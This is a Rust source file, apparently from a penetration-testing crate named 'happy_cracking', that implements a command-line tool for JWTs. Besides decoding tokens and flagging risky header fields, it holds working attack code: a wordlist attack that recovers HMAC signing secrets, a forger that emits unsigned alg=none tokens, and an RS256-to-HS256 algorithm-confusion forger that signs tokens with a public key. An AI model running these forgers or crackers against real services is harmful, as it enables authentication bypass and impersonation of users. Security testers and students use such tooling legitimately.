Skip to main content

happy_cracking/crypto/
jwt.rs

1use anyhow::{Context, Result};
2use base64::{Engine, engine::general_purpose::URL_SAFE_NO_PAD};
3use clap::Subcommand;
4use std::path::PathBuf;
5
6use super::hmac;
7
8#[derive(Subcommand)]
9pub enum JwtAction {
10    #[command(about = "Decode a JWT token (without verification)")]
11    Decode {
12        #[arg(help = "JWT token string")]
13        token: String,
14    },
15    #[command(about = "Analyze a JWT token for potential vulnerabilities")]
16    Analyze {
17        #[arg(help = "JWT token string")]
18        token: String,
19    },
20    #[command(about = "Dictionary-attack the HMAC secret of an HS* JWT")]
21    Crack {
22        #[arg(help = "JWT token string")]
23        token: String,
24        #[arg(short, long, help = "Wordlist file (one secret per line)")]
25        wordlist: PathBuf,
26    },
27    #[command(about = "Forge a token with alg=none (empty signature)")]
28    ForgeNone {
29        #[arg(
30            help = "Existing JWT (payload kept) or raw JSON payload string",
31            required_unless_present = "payload"
32        )]
33        token: Option<String>,
34        #[arg(short, long, help = "Raw JSON payload (overrides token payload)")]
35        payload: Option<String>,
36    },
37    #[command(
38        about = "Algorithm-confusion forge: re-sign RS* token as HS256 using a public key file as HMAC secret"
39    )]
40    Confuse {
41        #[arg(help = "JWT token string (header/payload source)")]
42        token: String,
43        #[arg(
44            short,
45            long,
46            help = "Public key file (PEM or raw bytes used as HMAC secret)"
47        )]
48        key: PathBuf,
49        #[arg(
50            long,
51            default_value = "HS256",
52            help = "Symmetric algorithm to forge (HS256/HS384/HS512)"
53        )]
54        alg: String,
55    },
56}
57
58pub fn run(action: JwtAction) -> Result<()> {
59    match action {
60        JwtAction::Decode { token } => {
61            let parts = decode(&token)?;
62            println!("Header:    {}", parts.header);
63            println!("Payload:   {}", parts.payload);
64            println!("Signature: {}", parts.signature_hex);
65        }
66        JwtAction::Analyze { token } => {
67            let parts = decode(&token)?;
68            println!("Header:    {}", parts.header);
69            println!("Payload:   {}", parts.payload);
70            println!("Algorithm: {}", extract_algorithm(&parts.header));
71            println!();
72            let warnings = find_vulnerabilities(&parts.header);
73            if warnings.is_empty() {
74                println!("No obvious vulnerabilities detected.");
75            } else {
76                println!("Potential vulnerabilities:");
77                for w in &warnings {
78                    println!("  [!] {}", w);
79                }
80            }
81        }
82        JwtAction::Crack { token, wordlist } => match crack_hmac_secret(&token, &wordlist)? {
83            Some(secret) => println!("Found secret: {}", secret),
84            None => println!("Not found"),
85        },
86        JwtAction::ForgeNone { token, payload } => {
87            let payload_json = if let Some(p) = payload {
88                p
89            } else if let Some(t) = token {
90                decode(&t)?.payload
91            } else {
92                anyhow::bail!("Provide a token or --payload");
93            };
94            let forged = forge_none(&payload_json)?;
95            println!("{}", forged);
96        }
97        JwtAction::Confuse { token, key, alg } => {
98            let key_bytes = std::fs::read(&key)
99                .with_context(|| format!("Failed to read key file: {}", key.display()))?;
100            let forged = forge_alg_confusion(&token, &key_bytes, &alg)?;
101            println!("{}", forged);
102        }
103    }
104    Ok(())
105}
106
107pub struct JwtParts {
108    pub header: String,
109    pub payload: String,
110    pub signature_hex: String,
111}
112
113pub fn decode(token: &str) -> Result<JwtParts> {
114    let token = token.trim();
115    let segments: Vec<&str> = token.split('.').collect();
116    if segments.len() != 3 {
117        anyhow::bail!(
118            "Invalid JWT format: expected 3 dot-separated parts, got {}",
119            segments.len()
120        );
121    }
122
123    let header_bytes = URL_SAFE_NO_PAD
124        .decode(segments[0])
125        .context("Failed to decode JWT header (invalid base64url)")?;
126    let header = String::from_utf8(header_bytes).context("JWT header is not valid UTF-8")?;
127
128    let payload_bytes = URL_SAFE_NO_PAD
129        .decode(segments[1])
130        .context("Failed to decode JWT payload (invalid base64url)")?;
131    let payload = String::from_utf8(payload_bytes).context("JWT payload is not valid UTF-8")?;
132
133    let sig_bytes = URL_SAFE_NO_PAD
134        .decode(segments[2])
135        .context("Failed to decode JWT signature (invalid base64url)")?;
136    let signature_hex = hex::encode(&sig_bytes);
137
138    Ok(JwtParts {
139        header,
140        payload,
141        signature_hex,
142    })
143}
144
145pub fn extract_algorithm(header_json: &str) -> String {
146    let v: serde_json::Value = serde_json::from_str(header_json).unwrap_or(serde_json::Value::Null);
147    v.get("alg")
148        .and_then(|v| v.as_str())
149        .unwrap_or("unknown")
150        .to_string()
151}
152
153pub fn find_vulnerabilities(header_json: &str) -> Vec<String> {
154    let mut warnings = Vec::new();
155
156    // Parse JSON safely using serde_json
157    let v: serde_json::Value = match serde_json::from_str(header_json) {
158        Ok(val) => val,
159        Err(_) => return vec!["Invalid JSON header - parsing failed".to_string()],
160    };
161
162    let alg = v.get("alg").and_then(|v| v.as_str()).unwrap_or("unknown");
163    let alg_lower = alg.to_lowercase();
164
165    if alg_lower == "none" {
166        warnings.push("Algorithm is \"none\" - signature verification is disabled!".to_string());
167    }
168
169    if alg_lower == "hs256" || alg_lower == "hs384" || alg_lower == "hs512" {
170        warnings.push(format!(
171            "Symmetric algorithm ({}) - check for algorithm confusion attacks (RS256 -> HS256)",
172            alg
173        ));
174    }
175
176    if v.get("jku").is_some() {
177        warnings.push(
178            "\"jku\" (JWK Set URL) header present - possible SSRF or key injection".to_string(),
179        );
180    }
181
182    if v.get("x5u").is_some() {
183        warnings.push(
184            "\"x5u\" (X.509 URL) header present - possible SSRF or key injection".to_string(),
185        );
186    }
187
188    if v.get("kid").is_some() {
189        warnings.push(
190            "\"kid\" (Key ID) header present - check for SQL injection or path traversal"
191                .to_string(),
192        );
193    }
194
195    if v.get("jwk").is_some() {
196        warnings.push(
197            "\"jwk\" (embedded key) header present - possible key self-signing attack".to_string(),
198        );
199    }
200
201    warnings
202}
203
204fn signing_input(token: &str) -> Result<String> {
205    let token = token.trim();
206    let segments: Vec<&str> = token.split('.').collect();
207    if segments.len() < 2 {
208        anyhow::bail!("Invalid JWT format");
209    }
210    Ok(format!("{}.{}", segments[0], segments[1]))
211}
212
213fn signature_bytes(token: &str) -> Result<Vec<u8>> {
214    let token = token.trim();
215    let segments: Vec<&str> = token.split('.').collect();
216    if segments.len() != 3 {
217        anyhow::bail!("Invalid JWT format: expected 3 parts");
218    }
219    URL_SAFE_NO_PAD
220        .decode(segments[2])
221        .context("Failed to decode JWT signature")
222}
223
224/// Verify an HS* JWT against a candidate secret.
225pub fn verify_hs(token: &str, secret: &[u8]) -> Result<bool> {
226    let parts = decode(token)?;
227    let alg = extract_algorithm(&parts.header).to_ascii_uppercase();
228    let msg = signing_input(token)?;
229    let expected = signature_bytes(token)?;
230    let actual = match alg.as_str() {
231        "HS256" => {
232            let hex = hmac::hmac_sha256(secret, msg.as_bytes());
233            hex::decode(hex).context("internal hex decode")?
234        }
235        "HS384" => {
236            // SHA-384 via sha2
237            use sha2::Sha384;
238            hmac_digest::<Sha384>(secret, msg.as_bytes(), 128)
239        }
240        "HS512" => {
241            let hex = hmac::hmac_sha512(secret, msg.as_bytes());
242            hex::decode(hex).context("internal hex decode")?
243        }
244        other => anyhow::bail!("Unsupported or non-HMAC algorithm for crack: {}", other),
245    };
246    Ok(constant_time_eq(&expected, &actual))
247}
248
249fn hmac_digest<D: sha2::Digest>(key: &[u8], message: &[u8], block_size: usize) -> Vec<u8> {
250    let actual_key = if key.len() > block_size {
251        let mut hasher = D::new();
252        hasher.update(key);
253        hasher.finalize().to_vec()
254    } else {
255        key.to_vec()
256    };
257    let mut padded_key = vec![0u8; block_size];
258    padded_key[..actual_key.len()].copy_from_slice(&actual_key);
259    let ipad: Vec<u8> = padded_key.iter().map(|&k| k ^ 0x36).collect();
260    let opad: Vec<u8> = padded_key.iter().map(|&k| k ^ 0x5c).collect();
261    let mut inner = D::new();
262    inner.update(&ipad);
263    inner.update(message);
264    let inner_hash = inner.finalize();
265    let mut outer = D::new();
266    outer.update(&opad);
267    outer.update(&inner_hash);
268    outer.finalize().to_vec()
269}
270
271fn constant_time_eq(a: &[u8], b: &[u8]) -> bool {
272    if a.len() != b.len() {
273        return false;
274    }
275    let mut diff = 0u8;
276    for (x, y) in a.iter().zip(b.iter()) {
277        diff |= x ^ y;
278    }
279    diff == 0
280}
281
282pub fn crack_hmac_secret(token: &str, wordlist: &PathBuf) -> Result<Option<String>> {
283    let parts = decode(token)?;
284    let alg = extract_algorithm(&parts.header).to_ascii_uppercase();
285    if !matches!(alg.as_str(), "HS256" | "HS384" | "HS512") {
286        anyhow::bail!(
287            "Token algorithm is {} (need HS256/HS384/HS512 for dictionary crack)",
288            alg
289        );
290    }
291
292    let bytes = std::fs::read(wordlist)
293        .with_context(|| format!("Failed to read wordlist: {}", wordlist.display()))?;
294    for line in bytes.split(|&b| b == b'\n') {
295        let line = line.strip_suffix(b"\r").unwrap_or(line);
296        if line.is_empty() {
297            continue;
298        }
299        // Try raw bytes and UTF-8 lossy form
300        if verify_hs(token, line)? {
301            return Ok(Some(String::from_utf8_lossy(line).into_owned()));
302        }
303    }
304    Ok(None)
305}
306
307/// Forge alg=none token (header with none + given payload + empty signature).
308pub fn forge_none(payload_json: &str) -> Result<String> {
309    // Validate payload is JSON object-ish
310    let _: serde_json::Value =
311        serde_json::from_str(payload_json).context("Payload is not valid JSON")?;
312    let header = r#"{"alg":"none","typ":"JWT"}"#;
313    let h = URL_SAFE_NO_PAD.encode(header.as_bytes());
314    let p = URL_SAFE_NO_PAD.encode(payload_json.as_bytes());
315    // Empty signature segment (some libs accept trailing dot with empty sig)
316    Ok(format!("{}.{}.", h, p))
317}
318
319/// Re-sign token header/payload as HS* using arbitrary key material (alg confusion).
320pub fn forge_alg_confusion(token: &str, key: &[u8], alg: &str) -> Result<String> {
321    let parts = decode(token)?;
322    let alg_up = alg.to_ascii_uppercase();
323    if !matches!(alg_up.as_str(), "HS256" | "HS384" | "HS512") {
324        anyhow::bail!("Forge algorithm must be HS256, HS384, or HS512");
325    }
326
327    let mut header_val: serde_json::Value =
328        serde_json::from_str(&parts.header).context("Invalid header JSON")?;
329    header_val["alg"] = serde_json::Value::String(alg_up.clone());
330    let header_json = serde_json::to_string(&header_val)?;
331
332    let h = URL_SAFE_NO_PAD.encode(header_json.as_bytes());
333    let p = URL_SAFE_NO_PAD.encode(parts.payload.as_bytes());
334    let signing = format!("{}.{}", h, p);
335
336    let sig = match alg_up.as_str() {
337        "HS256" => {
338            let hex = hmac::hmac_sha256(key, signing.as_bytes());
339            hex::decode(hex).context("internal hex decode")?
340        }
341        "HS384" => {
342            use sha2::Sha384;
343            hmac_digest::<Sha384>(key, signing.as_bytes(), 128)
344        }
345        "HS512" => {
346            let hex = hmac::hmac_sha512(key, signing.as_bytes());
347            hex::decode(hex).context("internal hex decode")?
348        }
349        _ => unreachable!(),
350    };
351    let s = URL_SAFE_NO_PAD.encode(&sig);
352    Ok(format!("{}.{}.{}", h, p, s))
353}
354
355/// Crack against an in-memory list of secrets (for tests).
356pub fn crack_hmac_secret_list(token: &str, secrets: &[&str]) -> Result<Option<String>> {
357    for s in secrets {
358        if verify_hs(token, s.as_bytes())? {
359            return Ok(Some((*s).to_string()));
360        }
361    }
362    Ok(None)
363}